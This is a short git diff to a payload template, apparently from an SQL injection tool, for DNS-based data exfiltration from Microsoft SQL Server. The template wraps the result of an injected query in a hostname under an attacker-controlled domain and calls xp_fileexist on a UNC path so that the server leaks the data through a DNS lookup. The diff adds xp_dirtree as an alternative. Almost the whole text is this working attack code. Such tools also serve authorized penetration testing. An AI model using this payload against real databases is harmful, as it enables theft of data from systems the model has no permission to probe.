diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt
index ebeeb4bc1..7307a6ccc 100644
--- a/procs/mssqlserver/dns_request.txt
+++ b/procs/mssqlserver/dns_request.txt
@@ -1,3 +1,4 @@
 DECLARE @host varchar(1024);
 SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
 EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
+# or EXEC('xp_dirtree "\\' + @host + '."');